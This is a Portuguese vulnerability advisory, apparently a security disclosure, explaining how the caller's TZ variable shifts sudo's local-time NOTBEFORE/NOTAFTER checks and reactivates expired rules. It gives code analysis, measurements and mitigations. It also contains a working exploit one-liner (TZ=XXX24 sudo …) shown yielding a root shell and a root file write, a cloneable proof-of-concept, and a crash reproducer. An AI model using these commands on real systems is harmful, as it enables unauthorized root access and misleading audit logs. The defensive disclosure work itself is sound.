⏰ SudoTimeWarp: a variável TZ do chamador decide NOTBEFORE/NOTAFTER no sudo

Reprodução mínima

O ambiente é uma instalação Debian com configuração padrão: env_reset no default, PAM ativo, secure_path default, /etc/sudoers em root:root 0440 e visudo -c limpo. O fuso do sistema está fixado em UTC como controle do experimento. A política concede um comando ao usuário poc dentro de uma janela que fechou 24 horas antes:

poc ALL=(ALL) NOTBEFORE=20260826221116 NOTAFTER=20260826231116 /usr/bin/id

Nas duas invocações abaixo a senha é exigida e fornecida corretamente, a regra está expirada e o comando é o mesmo. A única diferença está em uma variável de ambiente do processo do chamador:

$ sudo /usr/bin/id
[sudo] password for poc:
Sorry, user poc is not allowed to execute '/usr/bin/id' as root.

$ TZ=XXX24 sudo /usr/bin/id
[sudo] password for poc:
uid=0(root) gid=0(root) groups=0(root)

XXX é uma abreviação de fuso de três letras arbitrária e 24 é um offset POSIX. Nenhum arquivo está envolvido e nenhum precisa existir. Não há condição de corrida nem repetição: uma invocação, determinística. Com senha incorreta a segunda forma falha na autenticação, o que delimita o alcance — o que se desloca é a decisão de autorização, não a de autenticação.

Reprodução publicada

Os scripts usados acima estão publicados, com os controles que separam o bug de um erro de parse. O poc.sh valida esses controles antes de emitir veredicto e sai com 0 quando a máquina está afetada, 1 quando não está e 2 quando o próprio setup não se sustenta — de modo que um falso positivo não passa por confirmação.

git clone https://github.com/Ermensonx/sudotimewarp-cve-2026-96512-
cd sudotimewarp-cve-2026-96512-
docker build -t sudotimewarp . && docker run --rm -it sudotimewarp

A imagem instala o pacote sudo da própria distribuição e não compila nada, o que mantém o resultado independente de um build local. O repositório traz também a versão em duas partes — repro-admin.sh, que só faz o que um administrador legitimamente faz, e repro-attacker.sh, que roda como usuário sem privilégio —, além dos cenários de controle valid e expired-z.

Date_Spec: a limitação temporal do sudoers

O Date_Spec é o único mecanismo do sudoers para limitar uma concessão no tempo. Foi introduzido pelo commit e5dee1557, com primeira release em 1.8.20 (2017), e é escrito como NOTBEFORE= e NOTAFTER= dentro da regra. Os usos típicos são três:

• Janela de manutenção: acesso amplo durante um intervalo definido, que deve caducar sozinho quando a janela fecha.
• Acesso emergencial (break-glass): concessão temporária durante um incidente, sem depender de remoção manual posterior.
• Terceiro ou plantão agendado: acesso durante a vigência de um contrato ou de um turno. O NOTBEFORE abre e o NOTAFTER fecha.

Nos três casos a regra é escrita para restringir. A pré-condição da vulnerabilidade, portanto, não é uma configuração afrouxada: é uma restrição adicional que o administrador aplicou. Quem nunca usou Date_Spec não é afetado.

A forma sem sufixo é documentada e testada

O timestamp admite duas formas. Com sufixo Z ou com offset explícito, é UTC e o código toma um caminho independente de fuso. Sem nenhum dos dois, é hora local. O manual do sudoers registra essa segunda forma como extensão suportada:

O valor 20151201235900, sem Z, é um dos quatro exemplos de valid time stamps impressos pelo próprio manual (linha 1820). A mesma forma aparece no corpus de regressão do projeto, em plugins/sudoers/regress/testsudoers/test13.sh:

user1 ALL = NOTBEFORE=20151201235900 /usr/bin/id

Mecanismo: parse_gentime() e o ramo de hora local

A conversão ocorre em parse_gentime(), em plugins/sudoers/gentime.c. A função transforma os dígitos do Date_Spec em um time_t e tem uma única bifurcação:

/* plugins/sudoers/gentime.c */

138:    islocal = true;          /* sem 'Z' e sem offset explícito */
...
155:    if (islocal) {
156:        result = mktime(&tm);        /* a glibc relê getenv("TZ") aqui */
157:    } else {
158:        result = timegm(&tm);        /* independente de fuso */
159:    }

/* plugins/sudoers/gentime.c */

138:    islocal = true;          /* no 'Z' and no explicit offset */
...
155:    if (islocal) {
156:        result = mktime(&tm);        /* glibc re-reads getenv("TZ") here */
157:    } else {
158:        result = timegm(&tm);        /* time-zone independent */
159:    }

A mktime() da glibc resolve o fuso local chamando __tzset(), que executa tzset_internal(always=1). O argumento always=1 é o que separa os dois caminhos: com ele a glibc relê getenv("TZ") a cada chamada, em vez de aceitar o fuso já instalado no cache. O POSIX exige que mktime() se comporte como se tivesse chamado tzset(), de modo que o comportamento não é específico da glibc; foi confirmado também na musl.

O sudo é instalado com modo 04755 (src/Makefile.in:280). No execve(), o environ do chamador atravessa a fronteira de privilégio sem alteração, e o plugin sudoers.so roda no mesmo processo com euid 0. O valor produzido por mktime(), já deslocado, é gravado em cs->notbefore/cs->notafter e consumido pela decisão de autorização:

/* plugins/sudoers/lookup.c:269-273 — sudoers_lookup_check(), caminho de autorização */

if (cs->notbefore != UNSPEC)
    date_match = now <  cs->notbefore ? DENY : ALLOW;
if (date_match != DENY && cs->notafter != UNSPEC)
    date_match = now >  cs->notafter  ? DENY : ALLOW;

/* plugins/sudoers/lookup.c:269-273 — sudoers_lookup_check(), authorization path */

if (cs->notbefore != UNSPEC)
    date_match = now <  cs->notbefore ? DENY : ALLOW;
if (date_match != DENY && cs->notafter != UNSPEC)
    date_match = now >  cs->notafter  ? DENY : ALLOW;

now é o instante real do sistema; cs->notafter está expresso no fuso escolhido pelo chamador. O operando da direita é controlável a partir do ambiente de um processo não privilegiado.

Delimitação: o ramo timegm()

Com o Z documentado no mesmo timestamp, o código toma o ramo timegm() da linha 158 e o deslocamento é zero. Definir TZ também não é, por si, a causa: TZ=UTC produz a mesma decisão que nenhum TZ. O problema está restrito à extensão de hora local sem sufixo.

Segundo consumidor: sudoers_lookup_pseudo()

A mesma comparação aparece em lookup.c:126-130, dentro de sudoers_lookup_pseudo(), que atende sudo -l e sudo -v. Ambos os caminhos leem cs->notbefore/cs->notafter já convertidos por parse_gentime(), então o deslocamento é aplicado antes de qualquer um deles. Com TZ definido, sudo -l lista uma regra expirada como vigente. Esse comportamento também informa ao chamador o prazo exato da janela.

A correção anterior: db669167c (2026-03-14)

Em 14 de março de 2026 o upstream aplicou o commit db669167c, "sudo: ignore user-specified TZ environment variable". A mensagem cita "the parsing of NOTBEFORE/NOTAFTER values in sudoers" como motivo. O reporte que originou o commit foi feito privadamente ao mantenedor e está creditado nominalmente:

O commit acrescenta uma função em src/sudo.c:

/* src/sudo.c:345 — introduzido por db669167c */

static void
set_time_zone(void)
{
    extern char **environ;
    char **real_environ = environ;
    char *empty[] = { NULL };

    environ = empty;
    (void) tzset();          /* TZ oculto para esta chamada */
    environ = real_environ;  /* environ restaurado em seguida */
}

/* src/sudo.c:345 — introduced by db669167c */

static void
set_time_zone(void)
{
    extern char **environ;
    char **real_environ = environ;
    char *empty[] = { NULL };

    environ = empty;
    (void) tzset();          /* TZ hidden for this call */
    environ = real_environ;  /* environ restored right after */
}

Com o environ vazio, o tzset() instala o fuso do sistema no cache interno da glibc; o environ é restaurado na linha seguinte. O commit não recebeu CVE, advisory nem entrada em NEWS, e não aparece em nenhuma lista pública do projeto: a varredura dos arquivos de sudo-workers, sudo-users e sudo-announce (644 arquivos) não retorna ocorrências de TZ em 2025 ou 2026.

Por que db669167c não alcança o mktime()

A causa está na diferença entre dois caminhos da glibc:

O set_time_zone() atua sobre o cache. Consumidores que leem o cache ficam protegidos; consumidores que releem o ambiente, não. O localtime_r() do caminho de log lê o cache; o mktime() da decisão de política relê o ambiente. O resultado é que o commit protege os timestamps de log e não altera o comportamento da autorização.

Há um segundo efeito, e é ele que torna a proteção estruturalmente frágil: ao reler o ambiente, o mktime() não apenas consulta o TZ do chamador — ele reinstala esse fuso no cache da glibc. O valor que o set_time_zone() havia gravado ali é sobrescrito na primeira conversão de um Date_Spec sem sufixo.

A ordem dos eventos em uma invocação afetada:

• 1. src/sudo.c:165 — o set_time_zone() roda com o environ esvaziado e grava o fuso do sistema no cache da glibc.
• 2. O environ do chamador é restaurado na linha seguinte, com o TZ dele intacto.
• 3. O parse da política alcança gentime.c:156. O mktime() relê getenv("TZ"), obtém o valor do chamador e o reinstala no cache, sobrescrevendo o que o passo 1 havia gravado.
• 4. lookup.c:269 compara o now real com um cs->notafter já deslocado. A decisão de autorização sai incorreta.
• 5. Os localtime_r() posteriores, em timestr.c:36, leem o cache agora sobrescrito: o timestamp de log desloca junto.

O passo 5 é a razão pela qual a proteção do caminho de log, que o db669167c entrega de fato, deixa de valer assim que existe na política uma regra Date_Spec sem fuso. Sem essa regra, o passo 3 não ocorre e o cache permanece com o fuso do sistema.

O que db669167c corrige

O efeito do commit é verificável isoladamente, com uma sonda que usa apenas a libc, sem código do sudo (glibc 2.41):

TZ=XXX-24, bare tzset():        localtime_r -> 2020-01-02 00:00:00 +2400  timezone=-86400
TZ=XXX-24, set_time_zone():     localtime_r -> 2020-01-01 00:00:00 +0000  timezone=0

O mesmo se observa no sudo real, nos dois pins: sob TZ=XXX-24, o v1.9.17p2 registra um evento de 27 de agosto como Aug 28, enquanto o main registra Aug 27. O commit é, portanto, uma correção efetiva para o caminho de log. A afirmação que se sustenta é mais estreita: ele não protege, e estruturalmente não pode proteger, o mktime() de gentime.c:156.

Contra-exemplo: sudo_ldap_timefilter()

O equivalente para políticas em LDAP usa UTC explícito. O sudo_ldap_timefilter(), que monta o filtro sudoNotBefore/sudoNotAfter, é independente de fuso:

/* plugins/sudoers/ldap.c:490-509 — sudo_ldap_timefilter() */

gmtime_r(&now, &gmt);                                  /* UTC, não hora local */
strftime(timebuffer, sizeof(timebuffer),
         "%Y%m%d%H%M%S.0Z", &gmt);                     /* 'Z' explícito       */

/* plugins/sudoers/ldap.c:490-509 — sudo_ldap_timefilter() */

gmtime_r(&now, &gmt);                                  /* UTC, not local time */
strftime(timebuffer, sizeof(timebuffer),
         "%Y%m%d%H%M%S.0Z", &gmt);                     /* explicit 'Z'       */

É a mesma escolha do ramo timegm() em gentime.c:158. A exposição está restrita ao ramo de hora local.

Limite da sanitização de ambiente do sudo

O sudo neutraliza variáveis de ambiente com sudo_unsetenv() sobre uma cópia privada (env.c:531), somada à interposição dos símbolos getenv/setenv/unsetenv (src/env_hooks.c), de modo que bibliotecas ligadas ao processo — libldap em ldap.c:1256 e :1612, libkrb5 via auth/pam.c:323 — leiam a cópia do sudo.

O mecanismo funciona para bibliotecas externas e não alcança um consumidor interno da libc: a glibc resolve getenv internamente e não passa pelo símbolo interposto. É por isso que db669167c precisou manipular o ponteiro environ em vez de usar os hooks, e é por isso que manipulá-lo em torno de uma única chamada não cobre o mktime().

Medições

O procedimento busca o timestamp do sudoers em que a decisão inverte e re-amostra now imediatamente antes de cada sonda, de modo que a deriva de relógio fique limitada a uma invocação. O piso de ruído medido é de ±1 s.

Deslocamento por valor de TZ

Host com fuso de sistema em UTC.

Comparação entre as duas árvores

Mesma bateria, mesmo host e mesma configuração; a única variável é a árvore de código. De um lado, main no pin 2e18923c2, que contém o db669167c. Do outro, v1.9.17p2 no pin d1b48c651, que não contém.

Os valores são iguais, não apenas próximos. O resultado se repete em quatro binários produzidos de forma independente: main @ 2e18923c2, v1.9.17p2 @ d1b48c651, o pacote sudo 1.9.16p2 do Debian trixie — com a linha de configure da distribuição, sem recompilação — e um build musl no Alpine 3.21. Há confirmação cruzada adicional no Ubuntu 26.04 com glibc 2.43.

Controles C1–C6

Um erro de parse produziria o mesmo ALLOW. Os controles abaixo isolam a causa:

C5 delimita o escopo: com o Z documentado, o código toma o ramo timegm() em gentime.c:158 e o deslocamento desaparece. C3 exclui a hipótese de que a simples presença de TZ no ambiente altere a decisão.

Resultado negativo: a forma de arquivo

A variável TZ já originou uma CVE no sudo, a CVE-2014-9680, em que TZ podia nomear um arquivo arbitrário. Foi corrigida no sudo 1.8.12 pela inclusão de TZ no initial_checkenv_table[] (plugins/sudoers/env.c:212), que filtra % e / antes de repassar a variável ao comando executado. As duas situações são distintas, e a distinção é medida:

As quatro formas recusadas carregam normalmente para o mesmo usuário em um processo não setuid, retornando +1400 cada uma, o que indica que o bloqueio vem do guard __libc_enable_secure da glibc e não do fixture. O canal explorável é apenas a string POSIX inline, que não depende de arquivo nem de acesso ao filesystem. A correção de 2014 permanece válida e não cobre este caminho, que atinge a decisão de política do próprio sudo antes de qualquer comando existir.

Escopo por host

Regras restritas a um hostname não alteram o comportamento. Com a regra limitada a sudo-lab.corp.example e sem NOPASSWD — autenticação por PAM com senha correta —, uma janela NOTAFTER fechada há uma hora executa como root com TZ=XXX4:05. As formas de host testadas (FQDN, forma curta, endereço IP, CIDR e ALL) resultam em ALLOW; apenas um hostname inexistente nega, o que confirma que o match de host está ativo. Ele é avaliado antes da verificação de data (lookup.c:269) e determina se a janela é consultada, não como ela é interpretada.

Dependência do fuso do sistema

As medições anteriores fixam o /etc/localtime do host em UTC, o que faz o offset do chamador coincidir com o deslocamento obtido. Em um host com outro fuso os dois não coincidem. A relação é:

deslocamento = off_oeste(TZ do chamador) - off_oeste(fuso do sistema NO INSTANTE que os digitos denotam)

Como a glibc trava o campo de hora em 24, o intervalo alcançável é [ -89 999 - off_sys , +89 999 - off_sys ]. A amplitude é constante em 49 h 59 m 58 s; o fuso do sistema define apenas a posição desse intervalo.

As duas linhas foram medidas sem deriva: valor pedido −100 799 s, valor obtido −100 799 s, resíduo 0 s.

Composição do primitivo

O primitivo é a reativação de uma regra do sudoers fora da janela de validade pretendida, acionada por uma variável de ambiente definida na invocação. Ele não cria privilégio: restaura uma concessão que já existia. O teto de impacto é, portanto, o valor dessa concessão.

Hop 1 — regra ampla expirada sobre concessão estreita permanente

É a configuração que motiva o uso do NOTAFTER: concessão ampla por uma janela (manutenção, break-glass, terceiro, plantão), com uma concessão estreita permanente por baixo. O sudoers resolve por último-match-vence, então a regra datada e ampla é escrita depois da estreita:

poc ALL=(ALL) NOPASSWD: /usr/bin/id                    # permanente, estreita
poc ALL=(ALL) NOTAFTER=<1 h atras> NOPASSWD: ALL       # ampla, expirada

Com os controles executados antes, para que o DENY tenha significado:

=== controles — a regra ampla expirada deve estar inerte ===
  ok    C1 no TZ  /usr/bin/id              ALLOW      a concessao permanente funciona
  ok    C2 no TZ  /bin/sh                  DENY       a regra expirada esta inerte
  ok    C3 no TZ  /usr/bin/tee             DENY       segunda testemunha

=== A1 ===
  $ TZ=XXX24 sudo -n /bin/sh -c 'id -u'
      0
      uid=0 euid=0                                    -> ALLOW

=== A2 — root efetivo, nao apenas uid reportado ===
  $ TZ=XXX24 sudo -n /usr/bin/tee /etc/chain-proof
      created: root:root 644  PROOF-1787871254         -> ALLOW

Um usuário cuja concessão permanente é /usr/bin/id alcança execução arbitrária como root e escrita de arquivo root:root em /etc com uma variável de ambiente. A composição encerra no primeiro salto.

Hop 2 — deslocamento do timestamp de log

O plugins/sudoers/timestr.c:36 registra via localtime_r(). No v1.9.17p2 o TZ do chamador desloca a hora registrada de forma incondicional. No main, o db669167c protege esse caminho até que exista na política uma regra Date_Spec sem fuso: o mktime() dessa regra reescreve o cache de fuso da glibc e o log volta a deslocar.

v1.9.17p2 (sem a correcao)   Aug 28 22:28:41 : poc : ... COMMAND=/usr/bin/true   <- +24 h
main @ 2e18923c2 (com ela)   Aug 27 22:28:41 : poc : ... COMMAND=/usr/bin/true   <- correto

main @ 2e18923c2, TZ=XXX24, sistema Aug 27 22:28:59  ->  logado Aug 26 22:28:59

A mesma variável concede o acesso e desloca a data do registro correspondente, em até ~25 horas, sob a mesma pré-condição. O registro de auditoria fica incorreto exatamente no intervalo em que o evento ocorreu.

Hop 3 — cache de credenciais: refutado

O sudo grava um registro de timestamp após autenticação bem-sucedida. Se esse registro curto-circuitasse a autorização além da autenticação, uma passagem pelo bug daria acesso continuado à regra expirada sem TZ. A bateria abaixo roda sob timestamp_type=global, o tipo de ticket mais permissivo, de modo que um resultado negativo vale também para o default vinculado ao tty:

T1 regra valida, senha correta                 ALLOW      ticket estabelecido
T2 regra valida, so o ticket (-n)              ALLOW      o ticket funciona
T3 regra EXPIRADA, ticket fresco, sem TZ       DENY   <-- hipotese refutada
T4 regra EXPIRADA, TZ=XXX24 + senha            ALLOW      o bug ainda dispara
T5 regra expirada ha 4 DIAS, TZ=XXX24          DENY
T5 regra expirada ha 4 DIAS, TZ=XXX24:59:59    DENY   <-- limite de ~25 h confirmado

T3 mostra que o ticket armazena apenas o resultado da autenticação. O date_match é recomputado em sudoers_lookup_check() a cada invocação, de modo que uma regra expirada permanece expirada independentemente do estado do cache. T5 confirma o limite: quatro dias após o vencimento, os dois valores máximos de TZ negam.

Saltos não reproduzidos

• Alcançar regra concedida a outro usuário. O deslocamento é aplicado em parse_gentime() a todo Date_Spec da política, mas a regra ainda precisa casar usuário, host, runas e comando. O TZ altera quando uma regra é válida, não para quem ela vale.
• Escalar concessão estreita não escapável. Se a única regra datada concede /usr/bin/uptime, o resultado é uptime como root. Este é o limite de severidade do achado.
• Antecipar revogação agendada (NOTBEFORE em regra de negação): alcançável, mas remove o acesso do próprio chamador.
• Forma de arquivo como primitivo de leitura: recusada pelo __libc_enable_secure, com deslocamento medido de 0 s.

Limites, severidade e vetor CVSS

Vetor CVSS

O vetor abaixo foi proposto no pedido de CVE e adotado pela Red Hat sem alteração.

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H   (7.8 High)

AV:L  requer shell no host; o sudo nao e alcancavel pela rede
AC:L  sem corrida e sem repeticao, deterministico em uma invocacao. O `sudo -l` imprime o
      Date_Spec ao chamador, que le o prazo exato na propria politica.
PR:L  conta local COM entrada em sudoers; usuario comum, nao administrador.
UI:N  nenhuma acao de outro usuario esta envolvida
S:U   o impacto e root no mesmo host, dentro da autoridade de seguranca do proprio SO.
      O sudo e o componente que arbitra essa fronteira, entao subverte-lo nao alcanca uma
      segunda autoridade. Consistente com a CVE-2021-3156, pontuada 7.8 com S:U.
C:H   demonstrado: comando arbitrario como root (hop 1)
I:H   demonstrado: arquivo root:root escrito em /etc por chamador sem privilegio
A:H   o mesmo primitivo alcanca qualquer caminho gravavel por root

Sobre a classificação: não é CWE-20, porque a entrada não é malformada — XXX24 é uma string POSIX de TZ bem formada, analisada corretamente e depois honrada. Também não é CWE-862, porque a verificação de autorização está presente e é apenas avaliada contra uma referência de tempo incorreta. O registro oficial usa CWE-863 (Incorrect Authorization); o mecanismo corresponde a CWE-807 (Reliance on Untrusted Inputs in a Security Decision).

Variação da severidade conforme a configuração

O vetor 7.8 pontua a configuração em que a regra datada é mais ampla que a concessão permanente do usuário. Duas leituras alternativas são defensáveis:

Cronologia da divulgação

Situação atual e mitigação

Auditoria de configuração

grep -rE 'NOT(BEFORE|AFTER)=' /etc/sudoers /etc/sudoers.d/

Qualquer timestamp sem o Z final e sem offset explícito está na forma afetada. A correção de configuração é acrescentar o Z, que força o ramo timegm() e dispensa upgrade. Enquanto não houver release com o patch, essa é a única ação disponível sem aplicação manual da correção.

# forma afetada — hora local, resolvida no fuso do chamador
poc ALL=(ALL) NOTAFTER=20260827120000  /usr/bin/id

# forma nao afetada — ramo timegm(), independente de fuso
poc ALL=(ALL) NOTAFTER=20260827120000Z /usr/bin/id

A correção adotada e o precedente do locale

Duas rotas foram propostas no advisory: remover o TZ do ambiente durante toda a decisão, ou fazer o parse_gentime() não depender de fuso. A escolha entre elas envolve definir se a "hora local" da forma sem sufixo se refere ao host ou ao chamador, o que é uma decisão de semântica do projeto.

O sudo já aplica o primeiro padrão a outra variável de ambiente. O sudoers_lookup() é envolvido por sudoers_setlocale(SUDOERS_LOCALE_SUDOERS, …) em plugins/sudoers/sudoers.c:398-402, de modo que a decisão inteira roda sob um locale conhecido em vez do locale do chamador. O mesmo tratamento não existia para o fuso.

A segunda correção: 194042b55

Um dia após o 1820a349 entrou o 194042b55, "Copy envp → submit_envp instead of replacing the environ pointer", no mesmo bloco. O mecanismo de proteção muda: deixa de vir da substituição do ponteiro e passa a depender de ordem de execução — o os_init() (src/sudo.c:158) precisa rodar antes do set_time_zone() (:165). A proteção se mantém, mas qualquer setenv/unsetenv futuro deslocado para antes do os_init() altera esse resultado.

O commit também introduziu uma regressão de disponibilidade local. Com ambiente vazio, env -i sudo -V termina em SIGSEGV: o submit_envp permanece NULL quando envc == 0 (src/sudo.c:376) e é desreferenciado em plugins/sudoers/sudoers.c:1055, pela via do plugin de auditoria.

ASan   SEGV on unknown address 0x000000000000  (READ, pagina zero)
       init_vars -> sudoers_init -> sudoers_audit_open -> audit_open -> main
UBSan  sudoers.c:1055:31: load of null pointer of type 'char *'

A observação relevante é de consistência interna: os demais pontos da árvore já tratam um ambiente de usuário NULL como caso legal — env.c:258, iolog.c:608, log_client.c:863 e eventlog.c:828. O sudoers.c:1055 é o único que não faz essa verificação.

Referências